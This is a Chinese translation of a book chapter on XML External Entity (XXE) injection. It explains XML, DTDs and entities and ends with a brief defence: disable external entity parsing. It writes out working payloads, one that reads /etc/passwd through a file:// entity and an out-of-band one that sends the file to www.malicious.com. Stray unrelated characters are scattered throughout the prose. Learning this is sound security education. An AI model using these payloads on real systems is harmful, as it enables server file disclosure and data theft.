十四椿疗、XML 外部實(shí)體注入
作者:Peter Yaworski
譯者:飛龍
協(xié)議:CC BY-NC-SA 4.0
XML 外部實(shí)體(XXE)漏洞涉及利用應(yīng)用解析 XML 輸入的方式,更具體來說糠悼,應(yīng)用程序處理輸入中外部實(shí)體的包含方式变丧。為了完全理解理解如何利用,以及他的潛力绢掰。我覺得我們最好首先理解什么是 XML 和外部實(shí)體痒蓬。
元語言是用于描述其它語言的語言,這就是 XML滴劲。它在 HTML 之后開發(fā)攻晒,來彌補(bǔ) HTML 的不足。HTML 用于定義數(shù)據(jù)的展示班挖,專注于它應(yīng)該是什么樣子鲁捏。房子,XML 用于定義數(shù)據(jù)如何被組織萧芙。
例如给梅,HTML 中,你的標(biāo)簽為<title>
, <h1>
, <table>
, <p>
双揪,以及其它动羽。這些東西都用于定義內(nèi)容如何展示。<title>
用于定義頁面的標(biāo)題渔期,<h1>
標(biāo)簽定義了標(biāo)題运吓,<table>
標(biāo)簽按行和列展示數(shù)據(jù),并且<p>
表示為簡單文本疯趟。反之拘哨,XML 沒有預(yù)定義的標(biāo)簽。創(chuàng)建 XML 文檔的人可以定義它們自己的標(biāo)簽信峻,來描述展示的內(nèi)容倦青。這里是一個(gè)示例。
<?xml version="1.0" encoding="UTF-8"?>
<jobs>
<job>
<title>Hacker</title>
<compensation>1000000</compensation>
<responsibility optional="1">Shot the web</responsibility>
</job>
</jobs>
讀完了之后盹舞,你可以大致猜測出 XML 文檔的目的 -- 為了展示職位列表产镐,但是如果它在 Web 頁面上展示隘庄,你不知道它看起來是什么樣。XML 的第一行是一個(gè)聲明頭部磷账,表示 XML 的版本峭沦,以及編碼類型贾虽。在編寫此文的時(shí)候逃糟,XML 有兩個(gè)版本,1.0 和 1.1蓬豁。它們的具體區(qū)別超出了本書范圍绰咽,因?yàn)樗鼈冊谀銤B透的時(shí)候沒什么影響。
在初始的頭部之后地粪,標(biāo)簽<jobs>
位于所有其它<job>
標(biāo)簽的外面取募。<job>
又包含<title>
、<compensation>
和<responsibilities>
標(biāo)簽◇〖迹現(xiàn)在如果是 HTML玩敏,一些標(biāo)簽并不需要(但最好有)閉合標(biāo)簽(例如<br>
),但是所有 XML 標(biāo)簽都需要閉合標(biāo)簽质礼。同樣旺聚,選取上面的例子,<jobs>
是個(gè)起始標(biāo)簽眶蕉,</jobs>
是對應(yīng)的閉合標(biāo)簽砰粹。此外,每個(gè)標(biāo)簽都有名稱造挽,并且可以擁有屬性碱璃。使用標(biāo)簽<job>
,標(biāo)簽名稱就是job
饭入,但是沒有屬性嵌器。另一方面,<responsibility>
擁有名稱responsibility
谐丢,并擁有屬性optional
嘴秸,由屬性名稱optional
和值1
組成。
由于任何人可以定義任何標(biāo)簽庇谆,問題就來了岳掐,如果標(biāo)簽可以是任何東西,任何一個(gè)人如何知道如何解析和使用 XML 文檔饭耳?好吧串述,一個(gè)有效的 XML 文檔之所以有效,是因?yàn)樗裱?XML 的通用規(guī)則(我不需要列出它們寞肖,但是擁有閉合標(biāo)簽是一個(gè)前面提過的例子)纲酗,并且它匹配了它的文檔類型定義(DTD)衰腌。DTD 是我們繼續(xù)深入的全部原因,因?yàn)樗窃试S我們作為黑客利用它的一個(gè)東西觅赊。
XML DTD 就像是所使用的標(biāo)簽的定義文檔右蕊,并且由 XML 設(shè)計(jì)者或作者開發(fā)。使用上面的例子吮螺,我就是設(shè)計(jì)者饶囚,因?yàn)槲以?XML 中定義了職位文檔。DTD 定義了存在什么標(biāo)簽鸠补,它們擁有什么屬性萝风,以及其它元素里面有什么元素,以及其他紫岩。當(dāng)你或者我創(chuàng)建自己的 DTD 時(shí)规惰,一些已經(jīng)格式化了,并且廣泛用于 RSS泉蝌、RDF歇万、HL7 SGML/XML。以及其它勋陪。
下面是 DTD 文件的樣子贪磺,它用于我的 XML。
<!ELEMENT Jobs (Job)*>
<!ELEMENT Job (Title, Compensation, Responsiblity)>
<!ELEMENT Title (#PCDATA)>
<!ELEMENT Compenstaion (#PCDATA)>
<!ELEMENT Responsibility(#PCDATA)>
<!ATTLIST Responsibility optional CDATA "0">
看一看這個(gè)粥鞋,你可能猜到了它大部分是啥意思缘挽。我們的jobs
標(biāo)簽實(shí)際上是 XML !ELEMENT
,并且可以包含job
元素呻粹。job
是個(gè)!ELEMENT
壕曼,可以包含標(biāo)題、薪資和職責(zé)等浊,這些也都是!ELEMENT
腮郊,并且只能包含字符數(shù)據(jù)(#PCDATA
)。最后筹燕,!ELEMENT responsibility
擁有一個(gè)可選屬性(!ATTLIST
)轧飞,默認(rèn)值為 0。
并不是很難吧撒踪?除了 DTD过咬,還有兩種還未討論的重要標(biāo)簽,!DOCTYPE
和!ENTITY
制妄。到現(xiàn)在為止掸绞,我只說了 DTD 文件是我們 XML 的擴(kuò)展。要記住上面的第一個(gè)例子耕捞,XML 文檔并不包含標(biāo)簽定義衔掸,它由我們第二個(gè)例子的 DTD 來完成烫幕。但是,我們可以將 DTD 包含在 XML 文檔內(nèi)敞映,并且這樣做之后较曼, XML 的第一行必須是<!DOCTYPE>
元素。將我們的兩個(gè)例子組合起來振愿,我們就會得到這樣的文檔:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Jobs [
<!ELEMENT Job (Title, Compensation, Responsiblity)>
<!ELEMENT Title (#PCDATA)> <!ELEMENT Compenstaion (#PCDATA)>
<!ELEMENT Responsibility(#PCDATA)>
<!ATTLIST Responsibility optional CDATA "0">
]>
<jobs>
<job>
<title>Hacker</title>
<compensation>1000000</compensation>
<responsibility optional="1">Shot the web</responsibility>
</job>
</jobs>
這里捷犹,我們擁有了內(nèi)部 DTD 聲明。要注意我們?nèi)匀皇褂靡粋€(gè)聲明頭部開始埃疫,表示我們的文檔遵循 XML 1.0 和 UTF8 編碼伏恐。但是之后孩哑,我們?yōu)?XML 定義了要遵循的DOCTYPE
栓霜。使用外部 DTD 是類似的,除了!DOCTYPE
是<!DOCTYPE note SYSTEM "jobs.dtd">
横蜒。XML 解析器在解析 XML 文件時(shí)胳蛮,之后會解析jobs.dtd
的內(nèi)容。這非常重要丛晌,因?yàn)?code>!ENTITY標(biāo)簽被近似處理仅炊,并且是我們利用的關(guān)鍵。
XML 實(shí)體像是一個(gè)信息的占位符澎蛛。再次使用我們之前的例子抚垄。,如果我們想讓每個(gè)職位都包含到我們網(wǎng)站的鏈接谋逻,每次都編寫地址簡直太麻煩了呆馁,尤其是 URL 可能改變的時(shí)候。反之毁兆,我們可以使用!ENTITY
浙滤,并且讓解析器在解析時(shí)獲取內(nèi)容,并插入到文檔中气堕。你可以看看我們在哪里這樣做纺腊。
與外部 DTD 文檔類似,我們可以更新我們的 XML 文檔來包含這個(gè)想法:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Jobs [
<!ELEMENT Job (Title, Compensation, Responsiblity, Website)>
<!ELEMENT Title (#PCDATA)> <!ELEMENT Compenstaion (#PCDATA)>
<!ELEMENT Responsibility(#PCDATA)>
<!ATTLIST Responsibility optional CDATA "0">
<!ELEMENT Website ANY>
<!ENTITY url SYSTEM "website.txt">
]>
<jobs>
<job>
<title>Hacker</title>
<compensation>1000000</compensation>
<responsibility optional="1">Shot the web</responsibility>
<website>&url;</website>
</job>
</jobs>
這里你會注意到茎芭,我繼續(xù)并添加了Website
的!ELEMENT
揖膜,但是不是#PCDATA
,而是ANY
梅桩。這意味著Website
可以包含任何可解析的數(shù)據(jù)組合壹粟。我也定義了一個(gè)!ENTITY
,帶有SYSTEM
屬性摘投,告訴解析器獲取wensite.txt
文件的數(shù)據(jù)≈蠊眩現(xiàn)在一切都清楚了虹蓄。
將它們放到一起吩翻,如果我包含了/etc/passwd
塔嬉,而不是website.txt
奸鬓,你覺得會發(fā)生什么蒂秘?你可能戶菜刀魔策,我們的 XML 會被解析碎税,并且服務(wù)器敏感文件/etc/passwd
的內(nèi)容會包含進(jìn)我們的內(nèi)容润努。但是我們是 XML 的作者情连,所以為什么要這么做呢貌矿?
好吧炭菌。當(dāng)受害者的應(yīng)用可以濫用,在 XML 的解析中包含這種外部實(shí)體時(shí)逛漫,XXE 攻擊就發(fā)生了黑低。換句話說,應(yīng)用有一些 XML 預(yù)期酌毡,但是在接收時(shí)卻不驗(yàn)證它克握。所以,只是解析他所得到的東西枷踏。例如菩暗,假設(shè)我正在運(yùn)行一個(gè)職位公告板,并允許你注冊并通過 XML 上傳職位旭蠕。開發(fā)我的應(yīng)用時(shí)停团,我可能使我的 DTD 文件可以被你訪問,并且假設(shè)你提交了符合需求的文件掏熬。我沒有意識到它的危險(xiǎn)佑稠,決定天真地解析收到的內(nèi)容,并沒有任何驗(yàn)證孽江。但是作為一個(gè)黑客讶坯,你決定提交:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>
就像你現(xiàn)在了解的那樣,當(dāng)這個(gè)文件被解析時(shí)岗屏,我的解析器會收到它辆琅,并且看到內(nèi)部 DTD 定義了foo
文檔類型,告訴它foo
可以包含任何可解析的數(shù)據(jù)这刷,并且有個(gè)!ENTITY xxe
婉烟,它應(yīng)該讀取我的/etc/passwd
文件(file://
的用法表示/etc/passwd
的完整的文件 URL 路徑),并會將&xxe;
替換為這個(gè)文件的內(nèi)容暇屋。之后你以定義<foo>
標(biāo)簽的有效 XML 結(jié)束了它似袁,這會打印出我的服務(wù)器數(shù)據(jù)。這就是 XXE 危險(xiǎn)的原因。
但是等一下昙衅,還有更多的東西扬霜。如果應(yīng)用不打印出回應(yīng),而是僅僅解析你的內(nèi)容會怎么樣而涉?使用上面的例子著瓶,內(nèi)容會解析但是永遠(yuǎn)不會反回給我們。好吧啼县,如果我們不包含本地文件材原,而是打算和惡意服務(wù)器通信會怎么樣?像是這樣:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
]>
<foo>&callhome;</foo>
在解釋它之前季眷,你可能已經(jīng)注意到我在callhome
URL 中使用了%
來代替&
余蟹,%xxe
。這是因?yàn)?code>%用于實(shí)體在 DTD 定義內(nèi)部被求值的情況子刮,而&
用于實(shí)體在 XML 文檔中被求值的情況⊥疲現(xiàn)在,當(dāng) XML 文檔被解析话告,callhome !ENTITY
會讀取/etc/passwd
的內(nèi)容兼搏,并遠(yuǎn)程調(diào)用http://www.malicous.com
卵慰,將文件內(nèi)容作為 URL 參數(shù)來發(fā)送沙郭,因?yàn)槲覀兛刂屏嗽摲?wù)器,我們可以檢查我們的日志裳朋,并且足夠確保擁有了/etc/passwd
的內(nèi)容病线。Web 應(yīng)用的游戲就結(jié)束了。
所以鲤嫡,站點(diǎn)如何防范 XXE 漏洞送挑?它們可以禁止解析任何外部實(shí)體。
鏈接